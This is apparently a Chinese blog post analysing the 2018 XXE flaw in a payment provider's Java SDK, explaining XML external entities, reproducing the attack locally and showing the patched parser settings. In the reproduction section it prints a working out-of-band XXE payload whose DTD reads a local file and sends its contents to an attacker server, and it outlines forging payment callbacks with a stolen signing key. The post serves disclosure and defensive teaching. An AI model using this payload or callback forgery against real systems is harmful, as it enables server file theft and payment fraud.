談談×××支付曝出的漏洞
之前×××支付的SDK曝出重大漏洞（XXE漏洞），通過該漏洞，×××者可以獲取服務器中目錄結構、文件內容，如代碼、各種私鑰等。獲取這些信息以後，×××者便可以為所欲為，其中就包括眾多媒體所宣傳的“0元也能買買買”。
漏洞報告地址；http://seclists.org/fulldisclosure/2018/Jul/3
二、漏洞原理
1. XXE漏洞
此次曝出的漏洞屬於XXE漏洞，即XML外部實體註入（XML External Entity Injection）。
XML文檔除了可以包含聲明和元素以外，還可以包含文檔類型定義（即DTD）；如下圖所示。
在DTD中，可以引進實體，在解析XML時，實體將會被替換成相應的引用內容。該實體可以由外部引入(支持http、ftp等協議，後文以http為例說明)，如果通過該外部實體進行×××，就是XXE×××。
可以說，XXE漏洞之所以能夠存在，本質上在於在解析XML的時候，可以與外部進行通信；當XML文檔可以由×××者任意構造時，×××便成為可能。在利用XXE漏洞可以做的事情當中，最常見最容易實現的，便是讀取服務器的信息，包括目錄結構、文件內容等；本次×××支付爆出的漏洞便屬於這一種。
2. ×××支付漏洞
本次漏洞影響的範圍是：在×××支付異步回調接口中，使用×××支付SDK進行XML解析的應用。註意這裏的SDK是服務器端的SDK，APP端使用SDK並不受影響。
SDK下載地址如下（目前×××官方宣傳漏洞已修復）：https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
SDK中導致漏洞的代碼是WXPayUtil工具類中的xmlToMap()方法：
如上圖所示，由於在解析XML時沒有對外部實體的訪問做任何限制，如果×××者惡意構造xml請求，便可以對服務器進行×××。下面通過實例介紹×××的方法。
3. ×××復現
下面在本機環境下進行復現。
假設本地的web服務器127.0.0.1:8080中存在POST接口：/wxpay/callback，該接口中接收xml字符串做參數，並調用前述的WXPayUtil.xmlToMap(strXml)對xml參數進行解析。此外，/etc/password中存儲了重要的密碼數據（如password1234）。
×××時構造的請求如下：
其中xml內容如下：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/password">
<!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd">
%xxe;
]>
其中/etc/password為要竊取的對象，http://127.0.0.1:9000/xxe.dtd為×××者服務器中的dtd文件，內容如下：
<!ENTITY % shell "<!ENTITY % upload SYSTEM ‘http://127.0.0.1:9000/evil/%file;‘>">
%shell;
%upload;
通過xml+dtd文件，×××者便可以在服務器http://127.0.0.1:9000中收到如下請求：
http://127.0.0.1:9000/evil/password1234
這樣，×××者便得到了/etc/password文件的內容。
在本例中，×××者竊取了/etc/password文件中的內容，實際上×××者還可以獲取服務器中的目錄結構以及其他文件，只要啟動web應用的用戶具有相應的讀權限。如果獲取的信息比較復雜，如包含特殊符號，無法直接通過http的URL發送，則可以采用對文件內容進行Base64編碼等方法解決。
三、漏洞的解決
解決該漏洞的原理非常簡單，只要禁止解析XML時訪問外部實體即可。
漏洞曝出以後，×××進行了緊急修復，一方面是更新了SDK，並提醒開發者使用最新的SDK；SDK中修復代碼如下：
加入了如下兩行代碼：
documentBuilderFactory.setExpandEntityReferences(false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
更新：×××表示上述2條語句無法禁止該漏洞，又雙叒叕更新了官方SDK，加了以下語句（對於×××的這波操作，不知如何評價）：
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);
此外，×××官方也給出了關於XXE漏洞的最佳安全實踐，可以參考：
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
筆者本人使用上述方案中建議的如下代碼修復了該漏洞：
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
……
四、擴展與反思
1. 危害不只是“0元也能買買買”
在很多媒體的報道中，強調該漏洞的風險在於×××者可以不支付也可以獲得商品。確實，×××者在通過上述漏洞獲得×××支付的秘鑰以後，有不止一種途徑可以做到不支付就獲得商品：例如，×××者首先在系統中下單，獲得商戶訂單號；然後便可以調用×××支付的異步回調，其中的簽名參數便可以使用前面獲取的秘鑰對訂單號等信息進行MD5獲得；這樣×××者的異步回調就可以通過應用服務器的簽名認證，從而獲得商品。不過，在很多有一定規模的購物網站（或其他有支付功能的網站），會有對賬系統，如定時將系統中的訂單狀態與×××、支付寶的後臺對比，如果出現不一致可以及時報警並處理，因此該漏洞在這方面的影響可能並沒有想象的那麽大。
然而，除了“0元也能買買買”，×××者可以做的事情還有很多很多；理論上來說，×××者可能獲得應用服務器上的目錄結構、代碼、數據、配置文件等，可以根據需要進行進一步破壞。
2. 漏洞不限於×××支付SDK
雖然×××支付曝出該漏洞受到了廣泛關註，但該漏洞絕不僅僅存在於×××支付中：由於眾多XML解析器默認不會禁用對外部實體的訪問，因此應用的接口如果有以下幾個特點就很容易掉進XXE漏洞的坑裏：
（1）接口使用xml做請求參數
（2）接口對外公開，或容易獲得：例如一些接口提供給外部客戶調用，或者接口使用http很容易抓包，或者接口比較容易猜到(如×××支付的異步回調接口)
（3）接口中解析xml參數時，沒有禁用對外部實體的訪問
建議大家最好檢查一下自己的應用中是否有類似的漏洞，及時修復。
3. xml與json
xml 與 json是系統間交互常用的兩種數據格式，雖然很多情況下二者可以互換，但是筆者認為，json 作為更加輕量級更加純粹的數據格式，更適合於系統間的交互；而xml，作為更加重量級更加復雜的數據格式，其 DTD 支持自定義文檔類型，在更加復雜的配置場景下有著更好的效果，典型的場景如 spring 相關的配置。
4. 題外話：×××支付的簽名認證
在前面曾經提到，應用中存儲的秘鑰一旦泄露，×××者便可以完全繞過簽名認證，這是因為×××支付使用的是對稱式的簽名認證：×××方和應用方，使用相同的秘鑰對相同的明文進行MD5簽名，只要應用方的秘鑰泄露，簽名認證就完全成了擺設。
在這方面支付寶的做法更規範也更安全：支付寶為應用生成公私鑰對，公鑰由應用方保存，私鑰由支付寶保存；在回調時，支付寶使用私鑰進行簽名，應用方使用公鑰進行驗證；這樣只要支付寶保存的私鑰不泄露，×××者只有公鑰則難以通過簽名認證。
談談×××支付曝出的漏洞